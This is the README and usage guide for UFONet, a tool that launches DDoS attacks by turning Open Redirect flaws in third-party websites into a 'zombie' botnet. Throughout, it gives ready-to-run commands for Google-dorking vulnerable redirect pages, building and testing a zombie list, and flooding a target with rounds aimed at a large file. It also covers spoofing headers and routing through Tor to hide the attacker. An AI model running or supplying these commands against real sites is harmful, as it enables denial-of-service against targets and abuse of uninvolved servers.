UFONet - DDoS attacks via Web Abuse - 2013/2014 - by psy 


  • Project info:
  UFONet - is a tool designed to launch DDoS attacks against a target, 
  using 'Open Redirect' vectors on third party web applications, like botnet.

  See this links for more info:

     - CWE-601:Open Redirect
     - OWASP:URL Redirector Abuse

  • Main features:
  --version             show program's version number and exit
  -v, --verbose         active verbose on requests
  --check-tor           check to see if Tor is used properly
  --update              check for latest stable version

  *Configure Request(s)*:
    --proxy=PROXY       Use proxy server (tor: http://localhost:8118)
    --user-agent=AGENT  Use another HTTP User-Agent header (default SPOOFED)
    --referer=REFERER   Use another HTTP Referer header (default SPOOFED)
    --host=HOST         Use another HTTP Host header (default NONE)
    --xforw             Set your HTTP X-Forwarded-For with random IP values
    --xclient           Set your HTTP X-Client-IP with random IP values
    --timeout=TIMEOUT   Select your timeout (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 1)
    --delay=DELAY       Delay in seconds between each HTTP request (default 0)

  *Manage Botnet*:
    -s SEARCH           Search 'zombies' on google (ex: -s 'proxy.php?url=')
    --sn=NUM_RESULTS    Set max number of result to search (default 10)
    -t TEST             Test list of web 'zombie' servers (ex: -t zombies.txt)

  *Configure Attack(s)*:
    -r ROUNDS           Set number of 'rounds' for the attack (default: 1)
    -b PLACE            Set a place to 'bit' on target (ex: -b /path/big.jpg)
    -a TARGET           Start a Web DDoS attack (ex: -a http(s)://target.com)

  • Download:
  Current version: v0.3.1b - Abduction

git clone https://github.com/epsylon/ufonet

Package: UFOnet(.zip)

  • Installing:
  UFONet runs on many platforms.  It requires Python and the following library:

       python-pycurl - Python bindings to libcurl

  On Debian-based systems (ex: Ubuntu), run: 

       sudo apt-get install python-pycurl

  • Searching for 'zombies':
  UFONet will search on google results for possible 'Open Redirect' vulnerable sites. 
  A common query string should be like this:


  So for example, you can begin a search with:

       ./ufonet -s 'proxy.php?url='

  At the end of the process, you will be asked if you want to check the list retrieved to see 
  if the urls are vulnerable.

       Wanna check if they are valid zombies? (Y/n)

  Also, you will be asked to update the list adding automatically only 'vulnerable' web apps.

       Wanna update your list (Y/n)

  If you reply 'Y', your new 'zombies' will be appended to the file named: zombies.txt


     + with verbose:       ./ufonet -s 'proxy.php?url=' -v
     + retrieve 15 urls:   ./ufonet -s 'proxy.php?url=' --sn 15

  • Testing botnet:
  Open 'zombies.txt' (or another file) and create a list of possible 'zombies'. 
  Urls of the 'zombies' should be like this:


  After that, launch it:

       ./ufonet -t zombies.txt

  At the end of the process, you will be asked if you want to update the list 
  adding automatically only 'vulnerable' web apps.

       Wanna update your list (Y/n)

  If you reply 'Y', your file: zombies.txt will be updated.


     + with verbose:     ./ufonet -t zombies.txt -v
     + with proxy TOR:   ./ufonet -t zombies.txt --proxy=""

  • Attacking a target:
  Enter the target to attack, with the number of rounds that will be attacked:

       ./ufonet -a http://target.com -r 10

  This will attack the target, with the list of 'zombies' that your provided on: "zombies.txt", 
  a number of 10 times for each 'zombie'. That means, that if you have a list of 1.000 'zombies', 
  the program will launch 1.000 'zombies' x 10 rounds = 10.000 'hits' to the target.

  By default, if you don't put any round, it will apply only 1.

  Additionally, you can choose a place to recharge on target's site. For example, a large image, 
  a big size file or a flash movie. In some scenarios where targets doesn't use cache systems, 
  this will do the attack more effective.

       ./ufonet -a http://target.com -b "/images/big_size_image.jpg"


     + with verbose:     ./ufonet -a http://target.com -r 10 -v
     + with proxy TOR:   ./ufonet -a http://target.com -r 10 --proxy=""
     + with a place:     ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"

  • Updating :
  Last version of UFONet implements an option to update the tool to the latest stable version.
  This feature can be used only if you have cloned it from GitHub repository

  To check your version you should launch:

       ./ufonet --update

  This will update the tool automatically, removing all files from your old package.
